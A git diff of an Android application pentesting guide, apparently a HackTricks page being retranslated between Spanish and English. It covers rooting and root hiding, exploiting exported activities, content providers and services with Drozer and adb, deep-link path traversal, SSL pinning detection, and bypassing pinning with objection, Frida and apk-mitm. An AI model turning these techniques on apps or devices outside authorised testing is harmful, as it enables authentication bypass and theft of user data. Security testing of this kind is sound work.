An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### Bypass Biometric Authentication
|
||||
|
||||
@ -218,12 +218,17 @@ bypass-biometric-authentication-android.md
|
||||
|
||||
### Otras funciones interesantes
|
||||
|
||||
- **Ejecución de código**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Enviar SMS**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Funciones nativas** declaradas como `native`: `public native, System.loadLibrary, System.load`
|
||||
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
|
||||
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
|
||||
- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call):
|
||||
|
||||
### **Otros trucos**
|
||||
{{#ref}}
|
||||
in-memory-jni-shellcode-execution.md
|
||||
{{#endref}}
|
||||
|
||||
### **Other tricks**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -236,13 +241,13 @@ content-protocol.md
|
||||
|
||||
## Análisis dinámico
|
||||
|
||||
> Primero que nada, necesitas un entorno donde puedas instalar la aplicación y todo el entorno (Burp CA cert, Drozer y Frida principalmente). Por lo tanto, se recomienda encarecidamente un dispositivo rooted (emulado o no).
|
||||
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
|
||||
|
||||
### Análisis dinámico en línea
|
||||
|
||||
Puedes crear una cuenta gratuita en: [https://appetize.io/](https://appetize.io). Esta plataforma te permite subir y ejecutar APKs, por lo que es útil para ver cómo se comporta un APK.
|
||||
Puedes crear una **cuenta gratuita** en: [https://appetize.io/](https://appetize.io). Esta plataforma permite **subir** y **ejecutar** APKs, por lo que es útil para ver cómo se comporta un apk.
|
||||
|
||||
Incluso puedes **ver los logs de tu aplicación** en la web y conectar a través de **adb**.
|
||||
Incluso puedes **ver los logs de tu aplicación** en la web y conectarte vía **adb**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -250,9 +255,9 @@ Gracias a la conexión ADB puedes usar **Drozer** y **Frida** dentro de los emul
|
||||
|
||||
### Análisis dinámico local
|
||||
|
||||
#### Usando un emulador
|
||||
#### Usando un emulator
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Puedes crear dispositivos **x86** y **arm**, y según [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**las últimas versiones x86** soportan **ARM libraries** sin necesitar un emulador arm lento).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Puedes crear dispositivos **x86** y **arm**, y según [**esto**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**las últimas versiones x86** supportan **ARM libraries** sin necesitar un emulator arm lento).
|
||||
- Aprende a configurarlo en esta página:
|
||||
|
||||
|
||||
@ -260,36 +265,36 @@ Gracias a la conexión ADB puedes usar **Drozer** y **Frida** dentro de los emul
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, necesitas crear una cuenta. _Se recomienda **download** la versión **WITH** _**VirtualBox** para evitar errores potenciales._)
|
||||
- [**Nox**](https://es.bignox.com) (Free, pero no soporta Frida o Drozer).
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versión gratuita:** Personal Edition, necesitas crear una cuenta. _Se recomienda **descargar** la versión **CON**_ _**VirtualBox** para evitar errores potenciales._)
|
||||
- [**Nox**](https://es.bignox.com) (Gratis, pero no soporta Frida ni Drozer).
|
||||
|
||||
> [!TIP]
|
||||
> Al crear un nuevo emulador en cualquier plataforma recuerda que cuanto mayor sea la pantalla, más lento funcionará el emulador. Por tanto, selecciona pantallas pequeñas si es posible.
|
||||
> Cuando crees un nuevo emulator en cualquier plataforma recuerda que cuanto más grande sea la pantalla, más lento correrá el emulator. Así que selecciona pantallas pequeñas si es posible.
|
||||
|
||||
Para **install google services** (como AppStore) en Genymotion necesitas hacer clic en el botón marcado en rojo de la siguiente imagen:
|
||||
Para **instalar google services** (como AppStore) en Genymotion necesitas clicar en el botón marcado en rojo de la siguiente imagen:
|
||||
|
||||
.png>)
|
||||
|
||||
Además, observa que en la **configuración de la Android VM en Genymotion** puedes seleccionar **Bridge Network mode** (esto será útil si te conectarás a la Android VM desde otra VM con las herramientas).
|
||||
También, nota que en la **configuración de la Android VM en Genymotion** puedes seleccionar **Bridge Network mode** (esto será útil si te vas a conectar a la Android VM desde otra VM con las herramientas).
|
||||
|
||||
#### Usar un dispositivo físico
|
||||
#### Use a physical device
|
||||
|
||||
Necesitas activar las opciones de **debugging** y sería ideal si puedes rootear el dispositivo:
|
||||
Necesitas activar las opciones de **debugging** y sería ideal si puedes **rootear** el dispositivo:
|
||||
|
||||
1. **Settings**.
|
||||
2. (FromAndroid 8.0) Selecciona **System**.
|
||||
3. Selecciona **About phone**.
|
||||
4. Pulsa **Build number** 7 veces.
|
||||
5. Vuelve atrás y encontrarás las **Developer options**.
|
||||
2. (FromAndroid 8.0) Select **System**.
|
||||
3. Select **About phone**.
|
||||
4. Press **Build number** 7 times.
|
||||
5. Go back and you will find the **Developer options**.
|
||||
|
||||
> Una vez que hayas instalado la aplicación, lo primero que debes hacer es probarla e investigar qué hace, cómo funciona y familiarizarte con ella.\
|
||||
> Sugiero **realizar este análisis dinámico inicial usando MobSF dynamic analysis + pidcat**, así podremos **aprender cómo funciona la aplicación** mientras MobSF **captura** muchos **datos interesantes** que podrás revisar más tarde.
|
||||
> Una vez que hayas instalado la aplicación, lo primero que deberías hacer es probarla e investigar qué hace, cómo funciona y familiarizarte con ella.\
|
||||
> Sugiero **realizar este análisis dinámico inicial usando MobSF dynamic analysis + pidcat**, así podremos **aprender cómo funciona la aplicación** mientras MobSF **captura** muchos datos **interesantes** que podrás revisar más tarde.
|
||||
|
||||
Magisk/Zygisk quick notes (recommended on Pixel devices)
|
||||
- Parchea boot.img con la app Magisk y flashea vía fastboot para obtener systemless root
|
||||
- Habilita Zygisk + DenyList para ocultar root; considera LSPosed/Shamiko cuando se requiera ocultamiento más fuerte
|
||||
- Conserva el boot.img original para recuperarte de actualizaciones OTA; vuelve a parchear después de cada OTA
|
||||
- Para mirror de pantalla, usa scrcpy en el host
|
||||
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
|
||||
- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
|
||||
- Keep original boot.img to recover from OTA updates; re-patch after each OTA
|
||||
- For screen mirroring, use scrcpy on the host
|
||||
|
||||
|
||||
|
||||
@ -297,39 +302,39 @@ Magisk/Zygisk quick notes (recommended on Pixel devices)
|
||||
|
||||
**Logging**
|
||||
|
||||
Los desarrolladores deben tener cuidado de exponer **debugging information** públicamente, ya que puede conducir a sensitive data leaks. Se recomiendan las herramientas [**pidcat**](https://github.com/JakeWharton/pidcat) y `adb logcat` para monitorizar los logs de la aplicación y así identificar y proteger información sensible. **Pidcat** se prefiere por su facilidad de uso y legibilidad.
|
||||
Los desarrolladores deben tener cuidado de no exponer información de **depuración** públicamente, ya que puede conducir a leaks de datos sensibles. Se recomiendan las herramientas [**pidcat**](https://github.com/JakeWharton/pidcat) y `adb logcat` para monitorizar los logs de la aplicación e identificar y proteger información sensible. **Pidcat** es preferido por su facilidad de uso y legibilidad.
|
||||
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que desde versiones posteriores a **Android 4.0**, **las aplicaciones solo pueden acceder a sus propios logs**. Por tanto, las aplicaciones no pueden acceder a los logs de otras apps.\
|
||||
> Aun así, se recomienda **no loguear información sensible**.
|
||||
> Ten en cuenta que desde **versiones posteriores a Android 4.0**, **las aplicaciones solo pueden acceder a sus propios logs**. Así que las aplicaciones no pueden acceder a los logs de otras apps.\
|
||||
> De todas formas, sigue siendo recomendable **no loguear información sensible**.
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
|
||||
El framework **clipboard-based** de Android habilita la funcionalidad de copiar-pegar en las apps, pero supone un riesgo ya que **other applications** pueden **access** el portapapeles, potencialmente exponiendo datos sensibles. Es crucial **desactivar funciones de copy/paste** en secciones sensibles de una aplicación, como los datos de tarjetas de crédito, para prevenir data leaks.
|
||||
El framework basado en portapapeles de Android permite la funcionalidad de copy-paste en las apps, pero presenta un riesgo ya que **otras aplicaciones** pueden **acceder** al portapapeles, exponiendo potencialmente datos sensibles. Es crucial **deshabilitar las funciones de copy/paste** para secciones sensibles de una aplicación, como datos de tarjetas de crédito, para prevenir leaks.
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
Si una aplicación **crashes** y **guarda logs**, esos logs pueden ayudar a los atacantes, especialmente cuando la aplicación no puede ser reverse-engineered. Para mitigar este riesgo, evita registrar en los crashes, y si los logs deben transmitirse por la red, asegúrate de enviarlos vía un canal SSL para seguridad.
|
||||
Si una aplicación **crashea** y **guarda logs**, esos logs pueden ayudar a los atacantes, especialmente cuando la aplicación no puede ser reverse-engineered. Para mitigar este riesgo, evita loguear en crashes, y si los logs deben transmitirse por la red, asegúrate de enviarlos vía un canal SSL para seguridad.
|
||||
|
||||
Como pentester, **intenta revisar estos logs**.
|
||||
Como pentester, **intenta echar un vistazo a estos logs**.
|
||||
|
||||
**Analytics Data Sent To 3rd Parties**
|
||||
|
||||
Las aplicaciones a menudo integran servicios como Google Adsense, lo que puede inadvertidamente **leak sensitive data** debido a una implementación incorrecta por parte de los desarrolladores. Para identificar posibles data leaks, es recomendable **interceptar el tráfico de la aplicación** y comprobar si se está enviando información sensible a servicios de terceros.
|
||||
Las aplicaciones a menudo integran servicios como Google Adsense, que pueden inadvertidamente causar leaks de datos sensibles debido a una implementación incorrecta por parte de los desarrolladores. Para identificar posibles leaks, es aconsejable **interceptar el tráfico de la aplicación** y comprobar si se está enviando información sensible a servicios de terceros.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
La mayoría de las aplicaciones usarán **internal SQLite databases** para guardar información. Durante el pentest echa un **look** a las **databases** creadas, los nombres de **tables** y **columns** y todos los **data** guardados porque podrías encontrar **sensitive information** (lo que sería una vulnerabilidad).\
|
||||
Las databases deberían estar localizadas en `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`
|
||||
La mayoría de las aplicaciones usarán **bases de datos SQLite internas** para guardar información. Durante el pentest echa un **vistazo** a las **bases de datos** creadas, los nombres de **tablas** y **columnas** y todos los **datos** guardados porque podrías encontrar **información sensible** (lo que sería una vulnerabilidad).\
|
||||
Las bases de datos deberían estar ubicadas en `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Si la database guarda información confidencial y está **encrypted** pero puedes **find** la **password** dentro de la aplicación, sigue siendo una **vulnerability**.
|
||||
Si la base de datos guarda información confidencial y está **encriptada** pero puedes **encontrar** la **contraseña** dentro de la aplicación, sigue siendo una **vulnerabilidad**.
|
||||
|
||||
Enumera las tables usando `.tables` y enumera las columns de las tables haciendo `.schema <table_name>`
|
||||
Enumera las tablas usando `.tables` y enumera las columnas de las tablas con `.schema <table_name>`
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
|
||||
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** te permite **asumir el rol de una app Android** e interactuar con otras apps. Puede hacer **cualquier cosa que una aplicación instalada pueda hacer**, como usar el mecanismo de Inter-Process Communication (IPC) de Android e interactuar con el sistema operativo subyacente. .\
|
||||
Drozer es una herramienta útil para **explotar exported activities, exported services y Content Providers** como aprenderás en las siguientes secciones.
|
||||
|
||||
### Exploiting exported Activities
|
||||
|
||||
@ -338,11 +343,11 @@ También recuerda que el código de una activity comienza en el método **`onCre
|
||||
|
||||
**Authorisation bypass**
|
||||
|
||||
Cuando una Activity está exportada puedes invocar su pantalla desde una app externa. Por tanto, si una activity con **sensitive information** está **exported** podrías **bypass** los mecanismos de **authentication** **para acceder a ella.**
|
||||
Cuando una Activity está exported puedes invocar su pantalla desde una app externa. Por lo tanto, si una activity con **información sensible** está **exported** podrías **bypassear** los mecanismos de **autenticación** para acceder a ella.
|
||||
|
||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
También puedes iniciar una activity exportada desde adb:
|
||||
También puedes iniciar una activity exported desde adb:
|
||||
|
||||
- PackageName is com.example.demo
|
||||
- Exported ActivityName is com.example.test.MainActivity
|
||||
@ -352,47 +357,47 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
**NOTA**: MobSF detectará como malicioso el uso de _**singleTask/singleInstance**_ como `android:launchMode` en una activity, pero debido a [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente esto solo es peligroso en versiones antiguas (versiones de API < 21).
|
||||
|
||||
> [!TIP]
|
||||
> Ten en cuenta que un authorisation bypass no siempre es una vulnerabilidad; dependerá de cómo funcione el bypass y de qué información se exponga.
|
||||
> Ten en cuenta que un authorisation bypass no siempre es una vulnerabilidad; dependerá de cómo funciona el bypass y qué información se expone.
|
||||
|
||||
**Filtración de información sensible**
|
||||
**Sensitive information leakage**
|
||||
|
||||
**Activities can also return results**. Si consigues encontrar una activity exportada y sin protección que llame al método `setResult` y devuelva información sensible, existe una filtración de información sensible.
|
||||
**Activities can also return results**. Si logras encontrar una activity exportada y sin protección que llame al método **`setResult`** y **devuelva información sensible**, hay una sensitive information leakage.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Si no se previene el tapjacking, podrías abusar de la activity exportada para hacer que el **usuario realice acciones inesperadas**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
|
||||
Si Tapjacking no se previene, podrías abusar de la activity exportada para hacer que el **usuario realice acciones inesperadas**. Para más información sobre [**qué es Tapjacking sigue el enlace**](#tapjacking).
|
||||
|
||||
### Exploiting Content Providers - Accessing and manipulating sensitive information
|
||||
|
||||
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
[**Lee esto si quieres repasar qué es un Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Content providers se usan básicamente para **compartir datos**. Si una app tiene content providers disponibles, podrías ser capaz de **extraer datos sensibles** de ellos. También es interesante probar posibles **SQL injections** y **Path Traversals**, ya que podrían ser vulnerables.
|
||||
|
||||
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
[**Aprende cómo explotar Content Providers con Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Exploiting Services**
|
||||
|
||||
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
|
||||
[**Lee esto si quieres repasar qué es un Service.**](android-applications-basics.md#services)\
|
||||
Recuerda que las acciones de un Service comienzan en el método `onStartCommand`.
|
||||
|
||||
Un Service es básicamente algo que **puede recibir datos**, **procesarlos** y **devolver** (o no) una respuesta. Por tanto, si una aplicación exporta algunos services deberías **revisar** el **código** para entender qué hace y **probarlo dinámicamente** para extraer info confidencial, eludir medidas de autenticación...
|
||||
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
|
||||
Un Service es básicamente algo que **puede recibir datos**, **procesarlos** y **devolver** (o no) una respuesta. Por tanto, si una aplicación exporta servicios deberías **revisar** el **código** para entender qué hace y **probarlo** **dinámicamente** para extraer información confidencial, realizar un bypass a medidas de autenticación...\
|
||||
[**Aprende cómo explotar Services con Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Exploiting Broadcast Receivers**
|
||||
|
||||
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Recuerda que las acciones de un Broadcast Receiver comienzan en el método `onReceive`.
|
||||
[**Lee esto si quieres repasar qué es un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Recuerda que las acciones de un Broadcast Receiver empiezan en el método `onReceive`.
|
||||
|
||||
Un broadcast receiver estará a la espera de un tipo de mensaje. Dependiendo de cómo el receiver maneje el mensaje, podría ser vulnerable.\
|
||||
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
|
||||
Un broadcast receiver estará esperando un tipo de mensaje. Dependiendo de cómo el receiver maneje el mensaje, podría ser vulnerable.\
|
||||
[**Aprende cómo explotar Broadcast Receivers con Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Exploiting Schemes / Deep links**
|
||||
|
||||
Puedes buscar deep links manualmente, usando herramientas como MobSF o scripts como [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Puedes buscar deep links manualmente, usando herramientas como MobSF o scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Puedes **abrir** un scheme declarado usando **adb** o un **browser**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Tenga en cuenta que puede **omitir el nombre del paquete** y el móvil llamará automáticamente a la aplicación que debe abrir ese enlace._
|
||||
_Ten en cuenta que puedes **omitir el nombre del paquete** y el móvil llamará automáticamente a la app que debería abrir ese enlace._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
@ -401,56 +406,56 @@ _Tenga en cuenta que puede **omitir el nombre del paquete** y el móvil llamará
|
||||
```
|
||||
**Código ejecutado**
|
||||
|
||||
Para encontrar el **código que se ejecutará en la App**, ve a la actividad llamada por el deeplink y busca la función **`onNewIntent`**.
|
||||
Para encontrar el **código que se ejecutará en la App**, ve a la activity llamada por el deeplink y busca la función **`onNewIntent`**.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
**Información sensible**
|
||||
|
||||
Cada vez que encuentres un deep link verifica que **no esté recibiendo datos sensibles (como contraseñas) vía parámetros URL**, porque cualquier otra aplicación podría **suplantar el deep link y robar esos datos!**
|
||||
Cada vez que encuentres un deep link comprueba que **no esté recibiendo datos sensibles (como contraseñas) vía parámetros URL**, porque cualquier otra aplicación podría **hacerse pasar por el deep link y robar esos datos!**
|
||||
|
||||
**Parámetros en la ruta**
|
||||
|
||||
También **debes comprobar si algún deep link está usando un parámetro dentro de la ruta** de la URL como: `https://api.example.com/v1/users/{username}`, en ese caso puedes forzar un path traversal accediendo a algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.
|
||||
Ten en cuenta que si encuentras los endpoints correctos dentro de la aplicación podrías provocar un **Open Redirect** (si parte de la ruta se usa como nombre de dominio), **account takeover** (si puedes modificar detalles de usuarios sin token CSRF y el endpoint vuln usó el método correcto) y cualquier otra vuln. Más [info sobre esto aquí](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Debes comprobar también si algún deep link está usando un parámetro dentro de la path de la URL como: `https://api.example.com/v1/users/{username}`, en ese caso puedes forzar un path traversal accediendo a algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Ten en cuenta que si encuentras los endpoints correctos dentro de la aplicación podrías causar un **Open Redirect** (si parte de la ruta se usa como nombre de dominio), **account takeover** (si puedes modificar detalles de usuarios sin token CSRF y el endpoint vuln usó el método correcto) y cualquier otra vuln. Más [info sobre esto aquí](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Más ejemplos**
|
||||
|
||||
Un [interesante bug bounty report](https://hackerone.com/reports/855618) sobre links (_/.well-known/assetlinks.json_).
|
||||
Un [interesante informe de bug bounty](https://hackerone.com/reports/855618) sobre enlaces (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Inspección de la capa de transporte y fallos de verificación
|
||||
|
||||
- **Los certificados no siempre se inspeccionan correctamente** en las aplicaciones Android. Es habitual que estas aplicaciones pasen por alto advertencias y acepten certificados autofirmados o, en algunos casos, vuelvan a usar conexiones HTTP.
|
||||
- **Las negociaciones durante el handshake SSL/TLS a veces son débiles**, empleando cipher suites inseguros. Esta vulnerabilidad hace la conexión susceptible a ataques man-in-the-middle (MITM), permitiendo a atacantes descifrar los datos.
|
||||
- **Leakage of private information** es un riesgo cuando las aplicaciones se autentican usando canales seguros pero luego comunican por canales no seguros para otras transacciones. Este enfoque no protege datos sensibles, como cookies de sesión o detalles de usuario, de la intercepción por entidades maliciosas.
|
||||
- **Los certificados no siempre son inspeccionados correctamente** por las aplicaciones Android. Es común que estas aplicaciones ignoren advertencias y acepten certificados self-signed o, en algunos casos, vuelvan a usar conexiones HTTP.
|
||||
- **Las negociaciones durante el handshake SSL/TLS a veces son débiles**, empleando cipher suites inseguros. Esta vulnerabilidad hace la conexión susceptible a ataques man-in-the-middle (MITM), permitiendo a un atacante descifrar los datos.
|
||||
- **Fuga de información privada** es un riesgo cuando las aplicaciones se autentican usando canales seguros pero luego comunican por canales no seguros para otras transacciones. Este enfoque no protege datos sensibles, como cookies de sesión o detalles de usuario, de ser interceptados por entidades maliciosas.
|
||||
|
||||
#### Verificación del certificado
|
||||
#### Verificación de certificados
|
||||
|
||||
Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe verificarse para aumentar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles por canales no cifrados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y solucionar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) ofrece una guía completa.
|
||||
Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe verificarse para aumentar la seguridad. Esto es crucial porque configuraciones TLS inseguras y la transmisión de datos sensibles por canales no cifrados pueden suponer riesgos significativos. Para pasos detallados sobre cómo verificar certificados del servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) ofrece una guía completa.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning es una medida de seguridad donde la aplicación verifica el certificado del servidor contra una copia conocida almacenada dentro de la propia aplicación. Este método es esencial para prevenir ataques MITM. Se recomienda encarecidamente implementar SSL Pinning en aplicaciones que manejan información sensible.
|
||||
SSL Pinning es una medida de seguridad en la que la aplicación verifica el certificado del servidor frente a una copia conocida almacenada dentro de la propia aplicación. Este método es esencial para prevenir ataques man-in-the-middle (MITM). Se recomienda encarecidamente implementar SSL Pinning en aplicaciones que manejen información sensible.
|
||||
|
||||
#### Inspección de tráfico
|
||||
#### Inspección del tráfico
|
||||
|
||||
Para inspeccionar tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (p.ej., Burp). Sin instalar este certificado, el tráfico cifrado podría no ser visible a través del proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Para inspeccionar tráfico HTTP es necesario **instalar el certificado de la herramienta proxy** (p. ej., Burp). Sin instalar este certificado, el tráfico cifrado podría no ser visible a través del proxy. Para una guía sobre cómo instalar un CA custom, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Las aplicaciones dirigidas a **API Level 24 y superior** requieren modificaciones en el Network Security Config para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar tráfico cifrado. Para instrucciones sobre cómo modificar el Network Security Config, [**consulta este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Las aplicaciones dirigidas a **API Level 24 and above** requieren modificaciones en el Network Security Config para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar tráfico cifrado. Para instrucciones sobre cómo modificar el Network Security Config, [**consulta este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Si se está usando **Flutter** necesitas seguir las instrucciones en [**esta página**](flutter.md). Esto se debe a que, simplemente añadir el certificado al store no funcionará, ya que Flutter tiene su propia lista de CAs válidas.
|
||||
Si se está usando **Flutter** necesitas seguir las instrucciones en [**esta página**](flutter.md). Esto es porque, simplemente añadir el certificado al store no funcionará, ya que Flutter tiene su propia lista de CAs válidas.
|
||||
|
||||
#### Detección estática de SSL/TLS pinning
|
||||
|
||||
Antes de intentar bypasses en runtime, mapea rápidamente dónde se aplica el pinning en el APK. El descubrimiento estático te ayuda a planear hooks/patches y enfocarte en las rutas de código correctas.
|
||||
Antes de intentar bypasses en tiempo de ejecución, mapea rápidamente dónde se aplica el pinning en el APK. El descubrimiento estático te ayuda a planear hooks/patches y a centrarte en los code paths correctos.
|
||||
|
||||
Tool: SSLPinDetect
|
||||
- Utilidad de análisis estático open-source que decompila el APK a Smali (vía apktool) y escanea patrones regex seleccionados de implementaciones de SSL/TLS pinning.
|
||||
- Reporta la ruta exacta del archivo, número de línea y un snippet de código para cada coincidencia.
|
||||
- Cubre frameworks comunes y rutas de código personalizadas: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init con custom TrustManagers/KeyManagers, y pins en Network Security Config XML.
|
||||
- Utilidad de análisis estático open-source que decompila el APK a Smali (vía apktool) y busca patrones regex seleccionados de implementaciones de SSL/TLS pinning.
|
||||
- Informa la ruta exacta del archivo, número de línea, y un snippet de código para cada coincidencia.
|
||||
- Cubre frameworks comunes y code paths personalizados: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
|
||||
|
||||
Instalar
|
||||
- Requisitos: Python >= 3.8, Java en PATH, apktool
|
||||
Instalación
|
||||
- Requisitos previos: Python >= 3.8, Java on PATH, apktool
|
||||
```bash
|
||||
git clone https://github.com/aancw/SSLPinDetect
|
||||
cd SSLPinDetect
|
||||
@ -464,8 +469,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
|
||||
# Verbose (timings + per-match path:line + snippet)
|
||||
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
||||
```
|
||||
Ejemplo de reglas de patrón (JSON)
|
||||
Usa o extiende signatures para detectar estilos de pinning propietarios/personalizados. Puedes cargar tu propio JSON y escanear a gran escala.
|
||||
Ejemplo de reglas de patrones (JSON)
|
||||
Usa o amplía signatures para detectar estilos de pinning propietarios/custom. Puedes cargar tu propio JSON y escanear a escala.
|
||||
```json
|
||||
{
|
||||
"OkHttp Certificate Pinning": [
|
||||
@ -480,22 +485,22 @@ Usa o extiende signatures para detectar estilos de pinning propietarios/personal
|
||||
}
|
||||
```
|
||||
Notas y consejos
|
||||
- Fast scanning on large apps via multi-threading and memory-mapped I/O; pre-compiled regex reduces overhead/false positives.
|
||||
- Escaneo rápido en apps grandes vía multihilo y memory-mapped I/O; regex pre-compiladas reducen overhead/falsos positivos.
|
||||
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
|
||||
- Typical detection targets to triage next:
|
||||
- Objetivos típicos de detección para priorizar a continuación:
|
||||
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
|
||||
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
|
||||
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
|
||||
- Declarative pins in res/xml network security config and manifest references
|
||||
- Use the matched locations to plan Frida hooks, static patches, or config reviews before dynamic testing.
|
||||
- Declarative pins en res/xml network security config y manifest references
|
||||
- Usa las ubicaciones encontradas para planear Frida hooks, parches estáticos o revisiones de config antes de pruebas dinámicas.
|
||||
|
||||
|
||||
|
||||
#### Evasión de SSL Pinning
|
||||
#### Eludir SSL Pinning
|
||||
|
||||
Cuando SSL Pinning está implementado, es necesario eludirlo para inspeccionar el tráfico HTTPS. Hay varios métodos disponibles para este propósito:
|
||||
Cuando SSL Pinning está implementado, eludirlo se vuelve necesario para inspeccionar el tráfico HTTPS. Existen varios métodos disponibles para este propósito:
|
||||
|
||||
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work.
|
||||
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). La principal ventaja de esta opción es que no necesitarás root para bypass SSL Pinning, pero tendrás que eliminar la aplicación e instalar la nueva, y esto no siempre funcionará.
|
||||
- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
|
||||
@ -503,13 +508,13 @@ Cuando SSL Pinning está implementado, es necesario eludirlo para inspeccionar e
|
||||
|
||||
#### Buscando vulnerabilidades web comunes
|
||||
|
||||
